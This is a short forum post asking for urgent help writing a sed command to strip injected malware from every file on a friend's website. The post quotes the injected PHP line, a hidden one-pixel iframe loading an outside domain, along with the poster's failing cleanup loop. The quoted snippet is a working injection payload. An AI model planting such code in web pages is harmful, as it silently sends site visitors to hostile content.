Virus problem , need help with sed (urgent)
All the files at one of my friend's website is virus infected, it has inserted following code in it.
<? echo ('<html><head><title></title></head><body><iframe src="http://www.blackh.info/traff/" width=1 height=1></iframe></body></html>');?>
Now I want to replace all the code with nothing.
for a in $(find -type f -not -regex '.*\/\.svn.*'); do sed -e 's/<\?\s echo\s \(\'<html><head><title><\/title><\/head\><body><iframe\s src=\"http:\/\/www\.blackh\.info\/traff\/\"\s width=1\s height=1><\/iframe><\/body><\/html>\'\);\?>//g' $a > $a.modifiedfile; mv -f $a.modifiedfile $a; done
since he is use subversion I can't edit inside .svn folders.
This is not working as I am not comfortable with regex and escape characters.
Please help urgently
Thanks,
AjiNIMC
|